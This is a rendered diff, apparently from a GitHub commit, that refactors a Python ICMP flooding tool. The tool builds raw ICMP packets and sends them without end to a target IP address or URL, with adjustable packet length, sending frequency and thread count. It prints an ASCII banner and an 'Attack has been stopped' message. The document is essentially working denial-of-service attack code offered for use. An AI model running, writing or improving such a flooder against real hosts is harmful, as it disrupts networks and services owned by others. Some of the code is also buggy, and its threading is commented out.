1
- # FIX: can`t close opened threads
2
-
3
1
import sys
4
2
import time
5
- import string
6
3
import struct
7
4
import socket
8
5
import argparse
9
6
from threading import Thread , Event
10
7
8
+
9
+ def log_print ():
10
+ print (" ___ _ _ \n " +
11
+ " / __\ | ___ ___ __| | ___ _ __ \n " +
12
+ " / _\ | |/ _ \ / _ \ / _` |/ _ \ '__|\n " +
13
+ "/ / | | (_) | (_) | (_| | __/ | \n " +
14
+ "\/ |_|\___/ \___/ \__,_|\___|_| \n " )
15
+
16
+
17
+ def check_args (args ):
18
+ if args .i : pass
19
+ elif args .u : args .i = socket .gethostbyname (args .u )
20
+ else : sys .stderr ('Error. Address is not specified' )
21
+
22
+ args .p = args .p if 0 < int (args .p ) < 65530 else 80
23
+ args .l = args .l if args .l > 51 else 60
24
+ args .f = args .f if args .f > 0.1 else 0.1
25
+ args .t = args .t if args .t >= 0 else 1
26
+
27
+ print (f'Address: { args .i } \n Port: { args .p } \n Length: { args .l } \n Frequency: { args .f } \n Threads: { args .t } \n ' )
28
+
29
+
11
30
class Flooder :
12
- # Check data, calculated from the ICMP header and data
13
- def checksum (self , msg ):
31
+ def __init__ (self , ip , port , length , freq , threads ):
32
+ self .create_socket (ip , port , length , freq )
33
+ # event = Event()
34
+ # list_threads = []
35
+ # try:
36
+ # for i in range(threads):
37
+ # thread = Thread(target=self.create_socket(ip, port, length, freq))
38
+ # thread.daemon = True
39
+ # thread.start()
40
+ # list_threads.append(thread)
41
+ # except KeyboardInterrupt:
42
+ # event.set()
43
+ # print('\t Stop open threads ...\n')
44
+ # for thread in list_threads:
45
+ # thread.join()
46
+ # print('\t Attack has been stopped!!!\n')
47
+
48
+ @staticmethod
49
+ def checksum (msg ):
14
50
sum = 0
15
51
for i in range (0 , len (msg ), 2 ):
16
- w = ord ( msg [i ]) + (ord ( msg [i + 1 ]) << 8 )
52
+ w = msg [i ] + (msg [i + 1 ] << 8 )
17
53
sum = ((sum + w ) & 0xffff ) + ((sum + w ) >> 16 )
18
54
return socket .htons (~ sum & 0xffff )
19
55
@@ -31,80 +67,27 @@ def create_socket(self, ip, port, length, freq):
31
67
sock = socket .socket (socket .AF_INET , socket .SOCK_RAW , socket .IPPROTO_ICMP )
32
68
socket .inet_aton (ip )
33
69
34
- while ( True ) :
70
+ while True :
35
71
packet = self .construct_packet (length )
36
72
sock .sendto (packet , (ip , port ))
37
73
time .sleep (freq )
38
-
39
- sock .close ()
40
-
41
- def main (self , argv ):
42
- parser = argparse .ArgumentParser (prog = "ICMP_Flooder" , description = "ICMP-packets flooder." +
43
- " This programm creates and sends the ICMP-packets to target IP-address/URL" +
44
- " address. You can change port number, length of packet and frequence of sending.\n " ,
45
- epilog = 'Contact with me on "https://github.com/breadrock1" \n \n ' )
46
- parser .add_argument ('-i' , help = 'Enter target ip address of destination' , metavar = '' , type = str .format )
47
- parser .add_argument ('-u' , help = 'Enter target url address' , metavar = '' , type = str )
48
- parser .add_argument ('-p' , help = 'Specify port number' , metavar = '' , default = 69 , type = int )
49
- parser .add_argument ('-l' , help = 'Specify packet length' , metavar = '' , default = 60 , type = int )
50
- parser .add_argument ('-f' , help = 'Specify value of frequence to send packet' , metavar = '' , default = 0.01 , type = float )
51
- parser .add_argument ('-t' , help = 'Count thread' , metavar = '' , default = 1 , type = int )
52
- args = parser .parse_args ()
53
-
54
- print (" ___ _ _ \n " +
55
- " / __\ | ___ ___ __| | ___ _ __ \n " +
56
- " / _\ | |/ _ \ / _ \ / _` |/ _ \ '__|\n " +
57
- "/ / | | (_) | (_) | (_| | __/ | \n " +
58
- "\/ |_|\___/ \___/ \__,_|\___|_| \n " )
59
-
60
- # Try to get ip address of destination (by url too)
61
- if args .u :
62
- url = args .u
63
- ip_addr = socket .gethostbyname (url )
64
- print ("Specific Url: " , url )
65
- if args .i :
66
- ip_addr = args .i
67
- print ("Specific IP-Address: " , ip_addr )
68
-
69
- # Check for correct port number to send packet
70
- if int (args .p ) > 0 and int (args .p ) < 65530 :
71
- print ("Specific port: " , int (args .p ))
72
- elif int (args .p ) == 69 :
73
- print ("Default port: " , int (args .p ))
74
- else :
75
- print ("No valid port number" )
76
- sys .exit ()
77
-
78
- # Check for correct value of lenhgth of packet
79
- if int (args .l ) < 51 :
80
- print ("Is too few length" )
81
- sys .exit ()
82
- elif int (args .l ) == 60 :
83
- print ("Default length: " , int (args .l ))
84
- else :
85
- print ("Specific length of packet: " , int (args .l ))
86
-
87
- # Check for correct value of frequency to send packets
88
- if float (args .f ) == 0.1 :
89
- print ("Default times: " , float (args .f ))
90
- else :
91
- print ("Specific count: " , float (args .f ))
92
-
93
- try :
94
- evnt = Event ()
95
- threads = []
96
- for i in range (args .t ):
97
- thrd = Thread (target = self .create_socket (ip_addr , int (args .p ), int (args .l ), float (args .f )))
98
- thrd .daemon = True
99
- thrd .start ()
100
- threads .append (thrd )
101
- except KeyboardInterrupt :
102
- evnt .set ()
103
- print ('\t Stop open threads ...\n ' )
104
- for thrd in threads :
105
- thrd ._stop ()
106
- print ('\t Attack has been stopped!!!\n ' )
74
+ sock .close ()
75
+
107
76
108
77
if __name__ == "__main__" :
109
- flood = Flooder ()
110
- flood .main (sys .argv [1 :])
78
+ log_print ()
79
+ parser = argparse .ArgumentParser (prog = "ICMP_Flooder" , description = "ICMP-packets flooder." +
80
+ " This programm creates and sends the ICMP-packets to target IP-address/URL" +
81
+ " address. You can change port number, length of packet and frequence of sending.\n " ,
82
+ epilog = 'Contact with me on "https://github.com/breadrock1" \n \n ' )
83
+ parser .add_argument ('-i' , help = 'Enter target ip address' , metavar = '' , required = True , type = str )
84
+ parser .add_argument ('-u' , help = 'Enter target url address' , metavar = '' , required = False , type = str )
85
+ parser .add_argument ('-p' , help = 'Specify the port number' , metavar = '' , required = True , default = 80 , type = int )
86
+ parser .add_argument ('-t' , help = 'Specify number of threads' , metavar = '' , required = False , default = 1 , type = int )
87
+ parser .add_argument ('-l' , help = 'Specify the packet length' , metavar = '' , required = False , default = 60 , type = int )
88
+ parser .add_argument ('-f' , help = 'Specify value of frequents' , metavar = '' , required = False , default = 0.1 , type = float )
89
+ arguments = parser .parse_args ()
90
+
91
+ check_args (arguments )
92
+ flood = Flooder (arguments .i , arguments .p , arguments .l , arguments .f , arguments .t )
93
+
0 commit comments